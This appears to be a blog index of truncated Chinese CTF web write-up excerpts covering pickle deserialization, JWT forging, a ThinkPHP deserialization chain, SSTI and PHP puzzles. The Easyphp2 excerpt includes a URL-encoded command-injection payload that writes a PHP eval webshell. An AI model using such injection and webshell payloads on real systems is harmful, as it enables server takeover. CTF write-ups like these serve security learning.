1.4k words 1 mins.

# [watevrCTF-2019]PickleStore 题目名字的描述就是 pickle，感觉就是 pickle 反序列化，F12cookie 是 session=gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu pickle： # pickle.dumps( obj ) 序列化对象，并将结果数据流写入到文件对象中。参数 protocol 是序列化模式，默认值为...
1k words 1 mins.

# [羊城杯 2020] Blackcat 源码看看：发现他要我们听听歌，发现可以下载，直接编辑一下发现： # if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){ die('$clandestine = getenv("clandestine");if(isset($_POST['White-cat-monitor'])) $clandestine = hash_hmac('sha256',...
175 words 1 mins.

# [RootersCTF2019]ImgXweb # 注册登录在 / Home 这里发现 cookie，感觉是 jwt，直接上传 JSON Web Tokens - jwt.io 要有密码才能修改：信息搜集发现 robots.txt： 发现密码 you-will-never-guess 修改 user 名为 admin：换 jwt 发现有了 flag.png 可以直接搞一个 curl（抓包也可以）
2.1k words 2 mins.

# [NESTCTF2019]LoveMath2 源码 <?php error_reporting(0); //听说你很喜欢数学，不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 60)...
924 words 1 mins.

# virink_2019_files_share # 进来就是 js 小游戏，没有什么提示说还原后才给 flag，所以可以直接信息搜集 <head> <meta charset="UTF-8"> <title>The Cube</title> <meta...
422 words 1 mins.

# [羊城杯 2020] Easyphp2 抓包看看，可以发现有个 pass 变量将他换一下成 GWHT 之后，发现页面改变 传递的框框是传在了 count 变量，在下面有回显，可以直接传参写马（记得 url 编码） '%7C%20echo%20%22%3C%3F%3Deval(%5C%24_POST%5B'shell'%5D)%3F%3E%22%20%3E%20shell.php%20%7C%7C' 有了马直接蚁剑连接（但是不能直接访问 flag.txt）： 还有 / GWHT/README 中有 md5 密码解密得： GWHTCTF 在 /...
1.1k words 1 mins.

# [安洵杯 2019] iamthinking # dirsearch 搜集到 www.zip 文件： 发现是 thinkphp6.0 版本： thinkphp6.0 有两个计较明显的漏洞： 一个文件上传：要开启 session（本题没开） 一个就是反序列化：本体有个 unserilize 函数 那就是反序列化了 php 脚本： <?php namespace think\model\concern; trait Attribute { private $data = ["key" =>...
1.5k words 1 mins.

# [XNUCA2019Qualifier]EasyPHP 源码： <?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } include_once("fl3g.php");...
1.1k words 1 mins.

# [GWCTF2019] 你的名字 # 进去就是一个 ssti 经典：好多东西被禁了 {{}}，union,select,/,/**/ 这是被禁了，会在后面加上！禁了{{}}还以为不是ssti了 然后就没了，虽然知道了也不会做········ 它用了{%print %}这种形式，这样就能打印出执行信息了 试了下 {%print lipsum...